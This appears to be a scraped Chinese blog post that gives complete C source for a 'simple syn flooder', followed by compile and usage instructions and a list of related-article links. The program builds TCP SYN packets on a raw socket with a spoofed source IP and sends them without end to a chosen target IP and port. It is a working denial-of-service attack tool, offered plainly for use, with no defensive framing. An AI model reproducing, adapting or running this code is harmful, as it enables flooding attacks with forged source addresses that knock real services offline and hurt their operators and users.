c语言 syn扫描,syn flooder*** (C语言)
vi syn.c (插入如下内容)
/* simple syn flooder !!! */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
unsigned short in_cksum(unsigned short *ptr,int nbytes);
int synflooding();
void sigint(int signo);
struct sockaddr_in target;
struct sockaddr_in pesudo;
int rawsock;
unsigned short in_cksum(unsigned short *addr, int len)
{
int sum=0;
unsigned short res=0;
while( len > 1) {
sum += *addr++;
len -=2;
}
if( len == 1) {
*((unsigned char *)(&res))=*((unsigned char *)addr);
sum += res;
}
sum = (sum >>16) + (sum & 0xffff);
sum += (sum >>16) ;
res = ~sum;
return res;
}
void sigint(int signo)
{
printf("catch SIGINT\n");
close(rawsock);
exit(0);
}
int main(int argc, char *argv[])
{
if( argc != 4) {
printf("usage:%s psuedoip attackip attackport\n", argv[0]);
exit(1);
}
if( inet_aton(argv[1], &pesudo.sin_addr) == 0) {
printf("bad ip address:%s\n", argv[1]);
exit(1);
}
if( inet_aton(argv[2], &target.sin_addr) == 0) {
printf("bad ip address:%s\n", argv[2]);
exit(1);
}
target.sin_port=htons(atoi(argv[3]));
signal(SIGINT, sigint);
synflooding();
exit(0);
}
int synflooding()
{
int i, j, k;
struct packet{
struct iphdr ip;
struct tcphdr tcp;
}packet;
struct pseudo_header{ /* For TCP header checksum */
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
}pseudo_header;
bzero(&packet, sizeof(packet));
bzero(&pseudo_header, sizeof(pseudo_header));
if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
perror("socket()");
exit(1);
}
packet.tcp.dest=target.sin_port; /* 16-bit Destination port */
packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */
packet.tcp.doff=5; /* Data offset */
packet.tcp.res1=0; /* reserved */
/* packet.tcp.res2=0; reserved */
packet.tcp.urg=0; /* Urgent offset valid flag */
packet.tcp.ack=0; /* Acknowledgement field valid flag */
packet.tcp.psh=0; /* Push flag */
packet.tcp.rst=0; /* Reset flag */
packet.tcp.syn=1; /* Synchronize sequence numbers flag */
packet.tcp.fin=0; /* Finish sending flag */
packet.tcp.window=htons(242); /* 16-bit Window size */
packet.tcp.urg_ptr=0; /* 16-bit urgent offset */
packet.ip.version=4; /* 4-bit Version */
packet.ip.ihl=5; /* 4-bit Header Length */
packet.ip.tos=0; /* 8-bit Type of service */
packet.ip.tot_len=htons(40); /* 16-bit Total length */
packet.ip.id=getpid(); /* 16-bit ID field */
packet.ip.frag_off=0; /* 13-bit Fragment offset */
packet.ip.ttl=255; /* 8-bit Time To Live */
packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
packet.ip.check=0; /* 16-bit Header checksum (filled in below) */
packet.ip.saddr=pesudo.sin_addr.s_addr; /* 32-bit Source Address */
packet.ip.daddr=target.sin_addr.s_addr; /* 32-bit Destination Address */
packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);
while(1) {
/* set src port and ISN */
packet.tcp.source=htons(1025+rand()%60000);
packet.tcp.seq=761013+rand()%100000;
packet.tcp.check=0;
pseudo_header.source_address=packet.ip.saddr;
pseudo_header.dest_address=packet.ip.daddr;
pseudo_header.placeholder=0;
pseudo_header.protocol=IPPROTO_TCP;
pseudo_header.tcp_length=htons(20);
bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);
packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);
sendto(rawsock,&packet,40,0,
(struct sockaddr *)&target,sizeof(target));
}
return 0;
}
gcc -o syn syn.c
用法:
usage: ./s psuedoip attackip attackport
./syn 伪装IP ***IP ***端口
c语言 syn扫描,syn flooder*** (C语言)相关推荐
- C语言端口扫描源码,C语言实现TCP多线程端口扫描
多线程端口扫描实现(C语言) 源码: #include #include #include #include #include #pragma comment(lib,"WS2_32.lib ...
- python实现syn半扫描_python 使用raw socket进行TCP SYN扫描实例
1. TCP SYN扫描 端口扫描常用于用于探测服务器或主机开放端口情况,被计算机管理员用于确认安全策略,同时被攻击者用于识别目标主机上的可运作的网络服务.端口扫描是向一定范围的服务器端口发送对应请求 ...
- 网络扫描技术揭秘读书笔记3--TCP SYN扫描
TCP SYN扫描(使用Winpcap库实现) 0.核心原理 半开扫描(TCP SYN)不同于CSocket和Socket2扫描,后两者扫描都是完成了一个完整的三次握手(即connect函数),而半开 ...
- c语言键盘驱动程序,c语言键盘扫描程序
描述 c语言键盘扫描程序 4*4键盘扫描C语言程序 /* 4x4矩阵键盘的扫描程序 测试通过*/ #includesbit P1_0=P1^0; sbit P1_1=P1^1; sbit P1_2= ...
- TCP SYN扫描分析探密
[内容摘要]:TCP SYN扫描之所以叫半开放扫描,或半打开式扫描,是相对完整的TCP连接而言的.它是一次未完成的,由一方有意中止的TCP连接.因此它的本质还是一个TCP协议的具体应用. [关键词]: ...
- xp破解syn扫描tcp连接数和多用户终端服务限制
http://download.csdn.net/source/3173126 xp破解syn扫描tcp连接数和终端服务限制 可以syn扫描了 tcp连接数提到10240 可以多用户终端服务(远程桌面 ...
- TCP SYN扫描技术探测原理
TCP SYN扫描 TCP SYN扫描又称"半开扫描".回顾TCP连接的三次握手,申请方首先发送的是一个SYN数据包,服务方在接到这个SYN数据包后,如果该端口处于侦听状态,则会回 ...
- c语言开发pdf渲染器,C语言开发技术详解 (戴建华) PDF扫描版70M
从C语言基础高级技术,全面.深入讲解C程序设计的精髓,通过实例,层层深入,彻底攻克C程序设计的重点和难点知识. 本书特色: 从入门到精通:上篇介绍C语言基础,下篇介绍C语言高级编程及技巧. 适用双操作 ...
- c语言常用符号与英文,C语言常用符号与英文(7页)-原创力文档
C语言常用符号与英文 c语言的符号含义 main() {int w=4,x=3,y=2,z=1; printf("%d\n"): 优质解答 举例: a=1; b=2; a>b ...
最新文章
- String类(二)
- SNMP之管理信息库
- [Windows编程] 监视DLL装载/卸载
- 自制Android相机
- vue开发(1) 软件安装
- TipsDBConfigListener
- uni-app组件之间的传值
- 什么是 JavaScript 世界的 UMD
- 亿佰特WiFi无线通信模块在物联网智慧农场应用案例
- 解决读写分离过期读的几个方案
- Python 教你 4 行代码开发新闻网站通用爬虫
- ubuntu下配置eclipse
- decide your linux OS is GUI or not
- React.js组件化开发第一步(框架搭建)
- 白话SOA:面向服务+组件+架构
- Java Web实战篇-代码之美
- 无法连接终端授权服务器,许可证已过期的客户端可能无法连接到终端服务器的解决方案...
- ProtoBuf生成EmmyLua注解API提示文件(支持复杂的嵌套结构)
- 数据库迁移的几种方式
- 全面的IE兼容性调试问题
热门文章
- c# 整个工程(包括窗体工程)做成dll
- 解决base64通过http传输后+变空格的问题
- super(XXXX,self).__init__()在类中的作用
- python爬虫外快_利用Python爬虫轻松挣外快的几个方法(值得收藏)
- SEO能给独立站系统带来巨大的搜索流量吗?
- android intent 跳转activity,Activity 跳转 都知道用startActivity(Intent)
- java中实现工厂日历_Java Calendar实现控制台日历
- HDU-3537 Mock Turtles型翻硬币游戏
- Leetcode每日一题:767.reorganize-string(重构字符串)
- Leetcode每日一题:190.reverse-bits(颠倒二进制位)